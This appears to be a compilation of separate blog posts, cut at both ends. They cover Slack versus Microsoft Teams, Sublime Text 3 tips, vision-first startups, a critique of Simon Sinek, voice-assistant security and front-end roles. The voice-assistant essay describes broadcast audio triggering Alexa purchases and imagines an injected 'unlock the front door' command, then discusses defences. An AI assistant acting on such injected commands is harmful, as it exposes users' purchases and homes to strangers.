excelled at releasing crappy products and providing terrible support. They never took on any VC money. If you try to find Zoho coverage by TechCrunch or other western tech media, you can see that they remember about Zoho once every three years or so. Zoho is now Salesforce biggest competitor with an extremely powerful and well polished product. They have over 30 tools. Their revenue is believed to be over $500 million a year. They have 3000 developers. Let me repeat my old mantra — for a company NOT TO DIE is more important than to grow fast. Perhaps it’s the microbiologist inside me talking. Once you learn biology, your worldview changes. The only reason why Slack captured everyone’s imagination was the incredible growth rate and wads of VC money. That is not to say that it’s a bad product — no, it’s an excellent product, but is it really all that much better than HipChat? Think about Pokemon Go mania. That didn’t last long. I keep seeing parallels between Slack and Yammer. What happens when Slack stops growing? Will everyone stop caring and simply move on? Is media going to be less forgiving and stop covering features that other messengers had for years before Slack? Are they going to start making fun of VCs that invested hundreds of millions in the company at absurd valuations? What if the valuation was the actual story? How are Slack employees going to feel about that? Is top brass going to jump the ship? For the full three years that Slack was on everyone’s radar the one thing that surprises me that the management never went beyond ‘look at the incredible growth in valuation and users’ story. There doesn’t seem to be plan B or a strategy to speak of. Chat would have been a perfect instrument to get your foot in the door and do what Atlassian has done or what Zoho has been doing for years. But it’s clear that Slack isn’t going down that path. If viral was the story and the strategy, then both are over, once the growth stops. 5. If you want to see the future of chat, look at the past of email. There is no law that states that what happened to email should happen to chat (talking about vendors here). But it’s a useful analogy to me. The early superstars, like Hotmail or Yahoo!Mail aren’t anywhere close to Gmail, which was founded in 2004 (vs 1996 and 1997). It doesn’t matter where Slack is now at, it matters where it’ll be in a few years AND where the competition will be. My outlook for Slack may be too gloomy for some. I haven’t factored in any black swans, like merger with Dropbox and Asana to form another alternative to GSuite or Office 365. It is my belief, however, that time is playing against Slack and not for the company and you have to be extremely skillful and lucky beat an opponent that tough. The usual disclaimer 1. Slack is an excellent product 2. I am extremely envious of Slack’s incredible growth rate. It’s more than twice ours. 3. We are Slack’s direct competitor (and an example that you can can be more successful than Slack in select markets, like Eastern Europe) 4. I am not a Slack hater, but I want to share my critical thoughts in public before it becomes fashionable and ‘officially permitted’ once the news reaches Silicon Valley shores. 5. Yes, I realize that Microsoft Teams didn’t really flop and that unlike Slack it’s only available as a part of paid O365 subscription, but if Slack overreacted and , why can’t I to the same? I bet you Microsoft Teams team is really disappointed with these early results anyway. took out a stupid ad 6. Wanna see an app that’s getting at least played with despite of being ‘beta’, ‘limited release’, ‘rolling release’ etc (got a few messages about that with regards to MS Teams status). Check out Workplace by FB — https://play.google.com/store/apps/details?id=com.facebook.work&hl=en

Amazon

Asana

ATLASSIAN

Blink

Dropbox

Google

Microsoft

Salesforce

Techcrunch

Why Microsoft Teams Flopped And What It Means For Slack.

(Edit) I have added some gif to this article. I’m glad you like ! In fact, I am a die hard fan and I’ve been using it for ages (since ST2). I have a few tricks I would like to share them with you. Sublime Text 3 This is not a language oriented article. This article ranges from use of ST3 and we are going to learn and do: basics to advanced Fuzzy searching basics. What the files under folder are. User Some important functionalities as a reminder. Working with words and lines. Selection and deleting techniques. Useful keys and advance techniques. navigation Project Management. Install a few handy plugins. Optimisation by changing a few settings. Add missing to the commands Command Palette. In case you don’t know how to open the Command Palette, hit . The is for files, otherwise known as . ctrl+shift+p ctrl+p go to go to anything Fuzzy searching It works like this: if you are after a term in any palettes, for instance , you don’t need to type in the whole thing. I would do which matches the term. Also there is no space needed. Preferences: Key Bindings kybi Files under User folder There are some under . I’m using GNU/Linux, but the principals are the same in other OSs. The contents should be in valid format, otherwise they don’t work. files ~/.config/sublime-text-3/Packages/User JSON The is for global settings. It can be accessed by command palette ( ). Preferences.sublime-setting Preferences: Settings The is where you can add key shortcuts. It can be accessed in command palette ( ). Default (Linux).sublime-keymap Preferences: Key Bindings The contains the mouse actions. For now you only can open it by browsing to the directory and edit. However in this article I will show you how to add it to the Command Palette with ease. Default (Linux).sublime-mousemap There is another kind of file that doesn’t exist in that folder by default but you can create one, which the functionalities, I will explain it in below. extends Command Palette Basic functionalities and concepts can be invoked in any of these ways: Multi cursor Select multiple lines, then hit ctrl+shift+l on different places ctrl+left-click Find under expand. Put your cursor on a word, then hit it will select that word. Then hit a few more times to find similar words while creating a new cursor. It also works with partially selected words (a few characters or a few words/lines). ctrl+d ctrl+d Find all: and click on ctrl+f Find All shows the current file’s location in the sidebar and highlights it. Right click on the view and choose . We will create a command for it below as it doesn’t exists (yet). Reveal file in sidebar Reveal In Sidebar by hitting . You can create a command for this one too if you want. Toggle Sidebar ctrl+k ctrl+b is an important one. You can invoke its palette by . It shows you a list of available files in your current project (see below). It too obeys the fuzzy searching rules. Here are more things you can do with it: Go To Anything ctrl+p shows a list of symbols (classes/functions/methods) you can navigate to. @ takes you to a line by typing the line number. : shows you a list of token words (they can be set up in files and they usually come with plugins you install) # .tmLanguage If you don’t type in any file names, they work on the current file. Always have a mental image of your project and possible symbol names and navigate with this palette. Example 1: If you want to go to a file called and you know you want to land on a function called , type this in the palette: . This is just an example and the letters don’t have any significance other than matching. You need to make sure the destination file is focused then add to the mix. brew_beer.go Ingredients() bre@ingrd @ Example 2: If you want to go to the line of a file called , you can type in . 18 drunk_snake.py drnksnk:18 extremely useful for using in multiple panes (more about it in the origami section) New View into File while keeping the cursor at its position can be done by . Note that if you don’t have any selection, the cursor will travel by the edge of the view. In case you want to avoid and keep the cursor where it is, select one word and scroll. It retains the cursor position. Scrolling ctrl+up/down is handy when your lines are long and don’t fit into the view. You can invoke it with Command Palette. Wrap lines can be done with . It uses the ruler position to wrap. Wrapping a paragraph alt+q More useful actions will be mentioned in other sections of this article, please read on. Working with Words and Lines Let’s assume you have your cursor on a word/line and you want to: Go to next/previous word: ctrl+right/left Go to matching bracket: . It also works if you are not a bracket. It will navigate you to the closest bracket. ctrl+m Select the : hit . Please do not go to the end/beginning of the word and do , those combinations have a different purpose. It’s not what a would do! current word ctrl+d ctrl+shift+left/right ninja Select to next/previous word as you go: ctrl+shift+right/left Delete to the : end of a word ctrl+delete Delete to the : beginning of a word ctrl+backspace Delete to the : end of the line ctrl+shift+delete lines: Duplicate ctrl+shift+d Delete current line all together: ctrl+x up/down**:** Swap lines ctrl+shift+up/down . It expands the selection in blocks, and expands more if you hit it more times until it selects the whole file. Expand Selection: ctrl+shift+space Delete a block: hit until you covered the block you want to remove, then delete. ctrl+shit+space Indent line(s) left: and Indent line(s) right: ctrl+[ ctrl+] Jump forward and back (settings all the way down on this article): as you are moving around in your project, you can always go back and forth to the place you were. This is handy for inspecting the project. Insert a tab where ST3 insists on a completion: shift+tab (Edit 1) When you copy/cut stuff in ST3, it keeps them in a history. If you do it shows you a pop up of the history and you can choose to paste it. This is super useful! ctrl+k ctrl+v Join Lines: ctrl+j Project Management Projects Projects contain a series of files/folders added into a project. You can add multiple folders to a project if you wish. I have a folder in my folder called where I keep all my ST3 projects. I also put them into their own sub-folder to manage different workspaces. I suggest you do the same as it clutters the whole folder if you work with a lot of projects. You can open the project settings by invoking in command palette. Here are a few tips: Projects Sublime Text Project: Edit "folders": [{"file_exclude_patterns": ["*.test", "*.out"],"folder_exclude_patterns": ["tmp"],],"path": "/path/to/project/folder",}], Workspaces You can have multiple workspaces per project. They share the same settings as their parent project, therefore when you change the project settings it applies to all of its workspaces. Use them if you have different layouts or you have different concerns while working on a project. You can save them in the same folder you keep your ST3 project by choosing menu. You can also create a brand new workspace for the current project from the menu. Project> Save Workspace As.. Project Fast Switching Projects Every time you open/create projects or workspaces, ST3 keeps a history of what you’ve been working on. You can then hit to navigate between projects or workspaces easily. ctrl+alt+p Handy Plugins is useful for aligning cursors. I have changed the key binding to Alignment { "keys": ["super+a"], "command": "alignment" } Make a multi cursor and hit to align them. It will move the text with which is really handy. You can create such sight in your file: super+a shows you the opening and closing pairs of brackets. I use it to identify the block I am working on. Bracket Highlighter can change word/character cases. It has these modes: Case Conversion snake_case camelCase PascalCase dot.case dash-case Separate words Separate with forward slashes Separate with backslashes Toggle between snake_case, camelCase and PascalCase can change the file name. I use this to depend less on my mouse. File Rename shows git changes in the gutter. You also can view the diffs and roll them back, really handy. Git Gutter I use it every all the times. You can land your cursor on an indented area (maybe a bracket or beginning of a line) and hit to jump to the respective indention. Jump Along Indent: alt+up/down is a must have one if you do on github. Just generate a token on your github account (with only gist enabled permission) and add it to the plugin. You never need to browse to gists web page for your gists any more. You also can load a gist, edit and save it. It updates the gist automatically. HaoGist gists can move your tabs like in your browser. MoveTab is useful if you increment numbers. Create a bunch of cursors and type then select all those zeros and hit . It makes a series of incremented numbers. You can seed it with any numbers. Increment Selection 0 ctrl+alt+i is another must have plugin to make todo lists. It also tracks the time spent on each item. It is very straightforward and starts with its own tutorial when you install it, so there is no need to explain it here. PlainTasks will enhance your sidebar. Make sure you install this one. SideBarEnhancements is a better version of sublime’s bookmark system. You can name your bookmarks and navigate them in the command palette. Very handy. Sublime Bookmarks looks really cool, give it a go. Material Theme : this awesome plugin adds some cool functionalities to multi-cursor functionality. For instance you can edit individual cursors while retaining the who multi-cursor state. You also can cycle through the cursors and edit them! Head over to its page to see the full description. (Edit 1) MultiEditUtils : I mention this the last, because I also wanted to tell you a little story. Please read this part as I explain the decisions I have made to set this very plugin. Origami important I can’t live without . The way ST3 handles panes is way primitive in comparison to tmux and my ST3 work flow has been a bit slow before I started using origami. Before using origami, I rarely utilised panes and only relied on goto anything. The very first time I saw origami, it blew my mind, but soon I left it for the following reasons: tmux The shortcuts were different than my tmux set up It made me slower to code because it didn’t feel natural My tmux prefix is and I couldn’t use it for origami because it is also functionality. Until I asked myself these questions: ctrl+a select all How many times am I selecting the whole file’s contents in a day? Which one contributes to my productivity: Selecting all or having a more flexible workspace? The answer to the second question is obvious, duh! However the answer to the first question turned out very interesting: at most 10 times a day! Now the other obstacle: ? Here is what I came up with, which worked amazingly well for me and I’ve been a happier programmer. I changed the select all to: How am I going to set these two up in such a way I can have best of both { "keys": ["ctrl+a", "ctrl+a"], "command": "select_all" } And changed all prefixes of origami to . Now here is what happens: ctrl+b ctrl+a My pane control/navigation is like the tmux set up, and it feels very natural to me. exactly If I want to select all, I do twice, why not?! ctrl+a Problem resolved. I also disabled creating empty panes, which is really annoying. This means if you do a it creates an empty pane with nothing in it, which is not useful unless you want to create a new file. You can achieve that by creating a new file and move it to a new pane by . In origami’s user settings I have: ctrl+a right ctrl+a shift+right "create_new_pane_if_necessary": false, And in the preferences I added this to close empty panes when the last file is closed: "origami_auto_close_empty_panes": true Now here is a few handy tricks for origami. I call it here, the key I have set to which is by default. Lets call arrow keys a direction. For instance this combination means you hit then hit . prefix ctrl+a ctrl+b up/down/left/right prefix, ctrl+direction ctrl+a ctrl+up creates pane on the direction. prefix, ctrl+direction destroys pane on that direction. prefix, ctrl+shift+direction travels to the direction. prefix, direction travels while carries the file to the direction. prefix, shift+direction clones (makes a new view on the file) while bringing the new view to the direction. prefix, alt+direction zooms the pane. prefix, ctrl+z un-zooms the pane back to normal. prefix, ctrl+shift+z shows you an input box to put in the proportion of pane’s horizontal (column) size. I’ll explain in a bit. prefix, ctrl+c shows you an input box to put in the proportion of pane’s vertical (row) size. prefix, ctrl+r The sizes work like this: If you are on a pane that has only one pane of its side (or above/below): 0.3 means the the occupies 30 percent of the space in respect to the whole space. pane you are on If you are on the middle pane: 0.2, 0.9 means the left (or top) most pane gets 20 percent, the right one gets 90 percent and you get the rest. In the first point by whole space I mean if you have three panes and you are on the first one, it accounts the percentage as if there is only two, and it pushes the other panes to make room. : You can make more and put them side by side in order to work on different portion of the file and navigate through the panes as opposed to jumping up and down. A tip Views Into a File Origami has a concept of saving layouts. You also can create a layout and save the workspace. Either one works, but I prefer to save the layout. Now you can get rid of the sidebar and enjoy more space. Changing Some Settings I found these settings to be useful: {"bold_folder_labels": true,"close_windows_when_empty": true,"detect_slow_plugins": false,"enable_tab_scrolling": false,"ensure_newline_at_eof_on_save": true,"fade_fold_buttons": false,"font_face": "Inconsolata-g for Powerline","font_options":["subpixel_antialias","gray_antialias","directwrite"],"font_size": 11,"line_padding_bottom": 3,"line_padding_top": 3,"margin": 0,"caret_extra_bottom": 0,"caret_extra_top": 0,"caret_extra_width": 1,"caret_style": "wide","tab_size": 4,"spell_check": true,"dictionary": "Packages/Language - English/en_GB.dic","file_exclude_patterns":["*.sqlite3","*.exe","*.pyc","*.pyo","*.dia"],"folder_exclude_patterns":[".svn",".git",".gitignore",".hg","CVS","_build","dist","build","site"],"highlight_line": true,"highlight_modified_tabs": false,"indent_guide_options":["draw_active"],"match_brackets_angle": true,"material_theme_accent_orange": true,"material_theme_contrast_mode": true,"material_theme_small_statusbar": true,"material_theme_small_tab": true,"material_theme_tabs_autowidth": true,"origami_auto_close_empty_panes": true,"save_on_focus_lost": false,"shift_tab_unindent": false,"show_encoding": true,"show_line_endings": true,"show_tab_close_buttons": true,"theme": "Material-Theme-Darker.sublime-theme","translate_tabs_to_spaces": true,"trim_trailing_white_space_on_save": true,"use_tab_stops": true,"word_wrap": "false"} Notice the file_exclude_patterns and folder_exclude_patterns are also in project settings, when you set it here it applies it to every projects you have. I have excluded .git because I don’t want ST3 to search in those files when I do to search in everything. ctrl+shift+f Commands Create a file by any name and extension. Like so: and add this to the file: sublime-command arsham.sublime-command [{"caption": "Open Mouse Settings", "command": "open_file", "args": {"file": "${packages}/User/Default (Linux).sublime-mousemap"}},] Then invoke the Command Palette and type in . It will open your mouse map file (I have mentioned this earlier in this article). There is a wide range of commands you can do. In fact, I would like you to do an experiment. Open the by hitting then type this in there: Open Mouse Settings Console Panel ctrl+` sublime.log_commands(True) Without closing the console, do something to sublime. Like toggling the The short key is . You can see in the console it says: SideBar. ctrl+k ctrl+b command: toggle_side_bar Now you know the command name, you can add this to your commands: {"caption": "Toggle My sidebar please", "command": "toggle_side_bar"} And invoke it with command palette. Go ahead and try a few more! Here are some useful commands: {"caption": "Reveal File In SideBar", "command": "reveal_in_side_bar"},{"caption": "Open Mouse Settings", "command": "open_file", "args": {"file": "${packages}/User/Default (Linux).sublime-mousemap"}},{"caption": "Open Project", "command": "prompt_open_project_or_workspace"},{"caption": "Fold Comments", "command": "fold_comments"},{"caption": "Unfold Comments", "command": "unfold_comments"},{"caption": "Fold One", "command": "fold_by_level", "args": {"level": 1}},{"caption": "Fold Two", "command": "fold_by_level", "args": {"level": 2}},{"caption": "Fold Three", "command": "fold_by_level", "args": {"level": 3}},{"caption": "Fold Four", "command": "fold_by_level", "args": {"level": 4}},{"caption": "Fold Five", "command": "fold_by_level", "args": {"level": 5}},{"caption": "Fold Six", "command": "fold_by_level", "args": {"level": 6}},{"caption": "Fold Seven", "command": "fold_by_level", "args": {"level": 7}},{"caption": "Fold Eight", "command": "fold_by_level", "args": {"level": 8}},{"caption": "Fold Nine", "command": "fold_by_level", "args": {"level": 9}}, Here are some useful key bindings: { "keys": ["super+a"], "command": "alignment" },{ "keys": ["alt+left"], "command": "jump_back" },{ "keys": ["alt+right"], "command": "jump_forward" },{ "keys": ["ctrl+0"], "command": "reset_font_size" }, Please let me know in the comments if you have any suggestions how to improve this article, thanks! Conclusion Sublime Text 3 is really fast and comes with a lot of functionalities. When extended with plugins can be the best editor around. Please try to use your keyboard and rely less on mouse navigations. Enjoy!

Supercharge your Sublime Text 3 to increase your productivity

Most founders and companies subscribe to the Wayne Gretsky school of business: they skate to where the puck is inevitably going. Rare are those who figure out where the puck should be in the future, and shoot it in this direction through unchartered terrain. Elon Musk and a few others do this. (There will be no more hockey metaphors or nods to Canada in this article.) Photo courtesy of SpaceX.com Over the holidays I finally got around to reading . Ashlee Vance’s excellent biography of Elon Musk The book goes through a lot of interesting details about Elon’s story — his character, his difficult childhood in South Africa, cool anecdotes (did you know that Elon pitched the Solar City idea to his cousins on the drive up to Burning Man?) — but what really stayed with me is that In his own words: Elon reasons from “first principles”. I think generally people’s thinking process is too bound by convention or analogy to prior experiences. It’s rare that people try to think of something on a first principles basis. They’ll say, “We’ll do that because it’s always been done that way.” Or they’ll not do it because “Well, nobody’s ever done that, so it must not be good.” But that’s just a ridiculous way to think. You have to build up the reasoning from the ground up — “from the first principles” is the phrase that’s used in physics. , and then you see if you have a conclusion that works or doesn’t work, and it may or may not be different from what people have done in the past. You look at the fundamentals and construct your reasoning from that This frame of mind led Elon to have the following thought process at a young age: Humanity’s survival rests on Planet Earth staying hospitable, which it won’t at the current rate of global warming. Survival chances would be increased by (1) becoming an inter-planetary species, and (2) increasing the amount of time Earth stays hospitable. I am therefore going to do everything in my power to achieve (1) and (2). 🤔 Logic checks out right? It’s impressive to see how much Elon believes this. From this first-principles thinking he has gone on to deduct what his life’s work should be (and casually worked 100 hour weeks for 15+ years to make it happen!) Product-First vs Vision-First Companies This kind of thinking leads to what I’ll call “Vision-first companies”. A that something is wrong in the world and should be addressed fuelling an incredible drive towards this new improved state of the world, even if it’ll take 10 years to get there, and everyone thinks you’re crazy: logical deduction Tesla Master Plan Part 1. is well underway now. Part 2 : build in the open, do not execute blindly on a long term plan without continuously validating assumptions with your customers, be ready to pivot if the data tells you to, use Agile rather than Waterfall, etc. What struck me is how this top-down / very long term planning approach contrasts with most current entrepreneurship advice This approach is the low-risk way to build a successful business. You find out through iteration what will be the useful product for your customers, and by showing progress in this discovery and usage you can keep raising money at increasing valuations. Vision-first companies do not have this feedback loop — they are taking a bet on what customers in N years, and need financing from VCs (or an adoring user base in the case of Tesla!) who take the leap of faith with them. will want So it strikes me that there are really two kinds of startups: Vision-first, and Product-first: The clearest way to distinguish the two kinds is to think about what success looks like. All the intermediary successes on the way towards the vision are to keep the company going, and generate more resources to drive towards the ultimate vision. The Tesla masterplan is the perfect example. Once the vision-first company has enough odds of success, many startups follow — the path has been de-risked. For a vision-first company, success is achieving the vision. Take Facebook as an example — for them this means increasing the number of users connected on the platform. As a result the roadmap contains no specific goals, just themes: In contrast, at a product-first company, success is relative to past performance. A few other product-first examples: (improvement on social sharing), (improvements on current payments system), (improvements on team communication), (improvements on task management), (on demand transport/things). Snapchat/Twitter/Pinterest Stripe/Braintree Slack Asana Uber/Postmates/Instacart Vision-first companies of today These companies are fascinating to follow because they often have an inspiring founder to take you through their vision and the reasoning behind it, and invite you to take that leap of faith. Patience is then key as the company aims to ship products that move it towards the end goal. Here are a few awesome companies today that I think fit the bill. 21 Inc Vision: build the machine-payable web Founder & CEO ’s thinking for founding 21 goes something like: Balaji S. Srinivasan Machines need to be able to transfer money to each other, particularly to incentivise sharing idle resources (in a grid computing paradigm.) All wallets today are tied to people, not machines, meaning a human has to enable a machine to talk to another machine. This will not scale in the IOT & grid computing worlds. Per-machine wallets should therefore be created. Check out where Balaji goes through this thought process. It’s this ability to step back, realise through a deductive thought process that per-machine wallets will be needed, and then proceed to implementation however difficult & time consuming it will be (building a mining chips no less), that in my view makes this so impressive. this video Helion Energy Talk about a big idea Fossil fuels harm the planet; renewable energies have unpredictable outputs. Fusion doesn’t harm the planet, is predictable and less wasteful than renewables. Create a fusion engine. (Without blowing up the planet ideally.) Deepmind Certain important problems in the world appear unsolvable by the human brain. Artificial General Intelligence can help create new brains to complement ours. We should therefore build Artificial General Intelligence. Improbable (Disclosure: I work at Improbable :-) Being able to understand the emergent complexity of real world systems will help solve important problems. Emergent complexity is discovered in high fidelity simulations of these systems, which is not possible on today’s technology. We should therefore create high fidelity simulations. And we’re on our way with , our operating system for building large scale simulations, now in Open Alpha. Sign up and have a play! SpatialOS Who’s next? Overwhelmingly it seems to me that these kinds of companies are funded by: YCombinator Andreessen Horowitz (not a coincidence that their tagline is “We wanted flying cars, instead we got 140 characters”!) Peter Thiel / Founders Fund Following what the investment teams in these funds have to say and who they interview is very interesting. I do that mostly on , but if I could keep one source it’d be the a16z podcast, where partners invite founders of their portfolio companies to explain their vision. (It’s also the podcast that led me to discover Improbable and join the team a year later! 👌) this twitter list What do you believe that no one else does? I think product-first companies are also the ones that are more likely to make your mother think “tech has gone too far”. On demand *insert physical good*, (take a picture with a wink), (does all your household chores for you), (Yo!), (gps track your friends) — to take a few nauseating examples. Blincam Hello Alfred Yo Zenly Vision-first companies, by working back their plans from an improved state of the world, have more of a chance at solving real societal problems. So, tell me — who is glaringly missing from my list above? Thanks for reading 👍 Would love to know what you think. Hit reply here or ! find me on twitter Thanks to Alex Flamant & Gabriel Oppetit for critical chatter on this idea.

Andreessen Horowitz

Apple

Braintree

Discovery

Founders Fund

Stripe

Tesla

Uber

YouTube

First Principles Entrepreneurship, à la Elon

Sinek’s character assassination on the “entitled millennial” is full of hot, stupid air. The ripe old age of 43 seems like a good time for Simon Sinek to retire. His recent interview on , currently bouncing from one account to another, annotated with precious notes such as “I’ve been saying this for years!” signals that his observations are turning fuzzy and he’s entirely out of touch with the world around him. millennials Yahoo In any case, the unearned condescension of a professional peer who refers to working, tax-paying humans between the ages of 21 and 39 as “kids” is not worthy of the kind of virality and empty-headed reverence he is currently enjoying. It’s lazy workplace propaganda masquerading as thought leadership. It’s a tired trope designed to malign a perfectly ordinary generation — and it’s as obtuse as it is utterly useless. In this video, Simon Sinek delivers several gassy farts which you should walk away from swiftly and unapologetically, as you normally do with farts. 1. “Millennials are…” The term “millennial” refers to born between 1981 and 1997. Millennials do not exist. an age cohort Some grew up rich. Some grew up poor. Some are Republicans. Some are fat. Some were born in France. Some watched Nickelodeon. Some were beaten by their parents. Some are twins. Some wet the bed till they were 8. Do you see a pattern here? You shouldn’t. Millennials have nothing in common aside from being born during a certain range of years and a shitty economic crisis we inherited from the olds. You cannot assign specific behavioral traits and a unique workplace temperament to a global cohort of people. Well, you can, if the point is to bullshit your audience in order to sell a book. 2. “As they grow older, too many kids…” Right, 37-year old kids. Go on. 3. “…too many kids don’t know how to form deep, meaning relationships…” Sinek believes that we are simpletons, living in a fairytale world in which finding love and job satisfaction is like ordering a pizza off Seamless. But only a simpleton would use a handful of empirical evidence to pin such a broad psychological analysis . across 74.5 million Americans Here’s a crazy thought: Some “millennials” know how to form deep meaningful relationships. Other “millennials” don’t. They sound remarkably like humans across history. Technology has always hindered some and propelled others. Before there was Tinder, there were dating sites. Before dating sites, there were sketchy chat forums. Before sketchy chat forums, there were personal ads in the newspaper. Before personal ads in the newspaper, there were yentas? Idk. This woman does not represent me. Aziz Ansari’s book on modern romance is a testament to to find love, compared to our grandparents’ generation, who almost invariably sourced their life partners from down the street in their own neighborhood. how much harder we must work Yes, we are fully embroiled in the . Yes, we have an unprecedented level of social, romantic and economic opportunities, but we are fully aware of the arduous, long and difficult journey ahead of us. paradox of choice The kids are just fine. In the meantime, the only real thing we have to cope with is old people telling us what whiny, depressed losers we are. 4. “Everything you want, you can have instantaneously.” This stream of hot, smelly air is the lie of all lies: that millennials lack patience, guts and fortitude. It’s on these shaky grounds that old people request that young people quit buying $22 avocado toast in order to save for a house they couldn’t afford even if they never touched an avocado again. This is not the reason we’re not buying houses. It’s what they use to wag their fingers at young people who won’t move out of their parents’ homes, wait longer to get married and move from job to job. Sinek specifically bemoans the untamable Millennial creature for craving impact in the workplace. The truth is, if you feel you have no impact on the work, it means that your work has no impact on you. If you’re not getting out of your job, the smart thing to do is find one with a learning curve. During these times, the feeling of making an impact is all we have left. In our “millennial” world, , and you would have to work to afford a 1-bedroom apartment in the state of California. incomes have been stagnant since the 2008 recession our 401(k)s are potentially worthless an astounding 92 hours per week at minimum wage Kids these days. We’re entering our prime years in the workforce with , less job security, , while saddled with . fewer health benefits less earning power more college debt than any other living generation in the United States Millennials are not a problem generation and we are far from entitled. We are operating in a system that relentlessly demands our productivity and our best selves while simultaneously reducing us to . the lowest common denominator Simon Sinek is just your grumpy grandpa, complaining that kids these days are too damn soft and when he was your age he walked 8 miles to school. 5. “The best case scenario [for millennials] is going through life without ever finding joy…never really finding deep fulfillment in work or life.” “Deep fulfillment” is an imaginary concept designed to sell self-help books to millennials. It’s funny, because neither one exists! Sinek is concerned that we’ll never find “deep fulfillment”, as if it were a permanent state of earthly nirvana. But neither did our grandparents or their grandparents, many of whom led perfectly pleasant lives without falling victim to this new age narcissism. Thankfully, no one showed up in the fields where our ancestors toiled all day and peddled them such vague, impossible concepts. Perhaps they would have been miserable too! Vaguely defined ideas like “joy” and “true love” and “deep fulfillment” — along with the expectation that we must achieve them during our prime working and child-bearing years — is setting a high, unachievable bar that is enough to send anyone into a spiraling depression. I’ll take the contentment and general satisfaction of meaningful employment and good friends any day. Don’t worry about us, Simon. We will figure it out! Like this? Hate this? Come yell at me on Twitter — I’m @nandoodles .

Simon Sinek’s Thoughts On Millennials Are Like Long, Gassy Farts

Voice-controlled AI assistants are advanced enough to be dangerous Useful voice , combined with AI capable of parsing specific phrases and sentences, is finally here. Amazon’s Alexa, Apple’s Siri and Google’s Assistant are showing us what the future will be like. recognition Even the Economist is on board However, the safeguards are lagging behind the capabilities, as the recent example of a shows. The fact that the system picked up voice from the TV and interpreted it as a command sounds funny, but should be to anyone remotely interested in computer . It sounds like a Hollywood adaptation of the bug — but it’s not a fantasy any more. TV anchor ordering dollhouses terrifying security classic remote code execution We’re so happy that we have machines that can listen to us, that in our rush to use / buy / create them, we haven’t stopped and made sure they listen to us. That’s why a kid can order a dollhouse while parents are asleep or away, TV anchor reporting on that can order hundreds more, and we can play fun pranks when visiting friends by ordering tons of toilet paper while they’re not looking :-) only Accidentally ordering something online can be terribly inconvenient and cost you a fine buck, but as these assistants get control over more devices in our homes and our lives (IoT anyone?), we’ll start seeing problems. Here’s a stupid trick that might just work in a year of so: real Alexa, unlock the front door! Mobile phone voice assistants show one way of handling this: by requiring the phone to be unlocked for (most) commands to work. Yet while may make sense for phones (and only slightly inconvenience the user), it’s a non-starter for home automation systems. If I have to walk over and press a button, I might just as well do the entire action (such as turning the light off, or unlocking the door) myself. Another possibility is . By analyzing how the words are uttered, not just what they are, such systems can distinguish voice of the authorized user. However, like many other biometric systems, it is easily fooled by a facsimile of the user — in this case, a simple recording. Thus anyone with a mobile phone can “hack” this kind of security. speaker recognition More effective, and only slightly more inconvenient, would be the combination of requiring the physical presence of the user in the room (for example, by sensing their mobile phone, smartwatch, or other personal item they’d carry around most of the time) and speaker recognition. In this case, even if a hack is attempted, the user themselves would be around to prevent it. So the good news is, it shouldn’t be hard to build more secure voice-controlled systems. The bad news is, as we’ve seen with , many companies in home automation space currently have no experience or incentives to focus more on security. that huge botnets made of compromised IoT devices Voice-controlled AI assistants are here to stay, and it’s a good thing — they’re mightily convenient. But expect more fun anecdotes and scary stories in the years ahead.

Hear no evil

Working on the front-end of the web has evolved quite a bit over the past decade or so. One challenge I’ve faced repeatedly is helping people understand just which areas of web work I excel at. It seems to be a rather common theme, because if you do a bit of web sleuthing, it starts to feel like we can’t even articulate very well what we do to ourselves, never mind the subsequent explanation to anyone who’s . up above it Recently, I’ve been lucky enough to be contributing to defining roles and just where people like me will sit within our structure at work. It’s my hope that documenting a bit of my research will either serve as a resource others can refer to when attempting to make a similar appeal to define a new role within their company, or assist people who are in a similar position as I currently am: having to wear too many hats and feeling like there’s a better solution out there. The questions I’m attempting to answer here are: What should we call people in this role? What should their responsibilities be? As a side note, I just finished reading Brad Frost’s , which served as a bit of inspiration for my current endeavor. Atomic Design First up, job titles. Job titles can be difficult, which is why I want to address them first. While I completely understand that job titles with web professionals can be hard to pin down, they do hold meaning (as words tend to), and subsequently people infer meaning based on them. I hold a degree in graphic and spent an entire semester with Adobe Director in college (web degrees weren’t really a “thing” yet). Just like Brad Frost, I’ve never taken a course in computer science in my life. During my career, my job title has transitioned (each transition was at the same employer, each comma separates employers) from Web Designer to Web Marketing Manager (I promptly departed), from Web Designer to , from Senior Front-end Web Developer to Senior Developer (notice the mysterious departure of “Front-end” and “Web”), and from UI Developer to UI Engineer. design Web Developer If you’re paying attention, you’ll notice a trend of my job titles continually transitioning from starting closer to design and moving toward the computer science end of . I’m not sure if it’s a result of being a 6'3" white male (we’re all aware of the gender bias in our industry), or that pay scales skew toward “developers”, so as I gain experience in the industry I have to move in this direction simply to move up the career ladder. Whatever the cause, the result is people generally want to categorize me as more technical, as the outsider’s assumption tends to lump everything “web tech” into the same ball of clay. the spectrum This is a common theme, and others do a better job at explaining it than I do. Here are a few. Brad Frost does a great job of providing an overview, in his post on : Frontend Design A front-end designer (who may also go by UI developer, client-side developer, UI engineer, design engineer, front-end architect, designer/developer, prototyper, unicorn, or Bo Jackson) lives in a sort of purgatory between worlds. Jonathan Snook defines an entire new step in the process as “Design Implementation” in his post on : Design Engineering When we examine the development process, there are three phases: “Design”, “Design Implementation”, and “Application Development”. Probably the most well articulated post I’ve found discussing how our role has changed over the years comes from Matthew Gertner’s post on The . Here are a few great excerpts: Shifting Definition of the Front-End Developer Now that single page apps have pushed a lot of the work that used to happen on the back-end tier into the browser, the UX-to-jQuery folks are suddenly being asked to do hardcore software engineering. The world still needs developers who can synthesize customer requirements, work with graphic designers and navigate the ever more labyrinthine CSS standards to produce gorgeous, responsive and functional user interfaces. The real problem is the perception that any code running in the browser is front-end code. This is patently no longer the case. Either we find another term to describe the UX-to-jQuery crowd or we redefine what we mean by “front-end”. This last quote is particularly relevant, as it’s undeniable that code running in the browser is a blend of front- and back-end code. Jeremy Keith describes Angular as closer to a native SDK in his post on : Angular Momentum Well, yes, Angular a front-end framework, but conceptually and philosophically it’s much more like a back-end framework (actually, I think it’s conceptually closest to a native SDK; something more akin to writing iOS or Android apps, while ). technically is others compare it to ASP.NET Jake Archibald also makes a great point in his post titled : If we stand still, we go backwards No one can be an expert in the whole web. Surgeons aren’t experts in all types of surgery, scientists aren’t experts in all of science, web developers aren’t experts in all of web development. To summarize, there’s a role that sits between the design and development teams, and there’s room for much more specialization in front-end web development. The web itself has only been around for a few decades. There hasn’t been enough time for us to recognize, nor reflect on the fact that specialization is necessary. You wouldn’t ask a paleontologist to provide you a detailed description of alpha centauri. Similarly, you wouldn’t fathom substituting a podiatrist for your surgeon on the date you’re 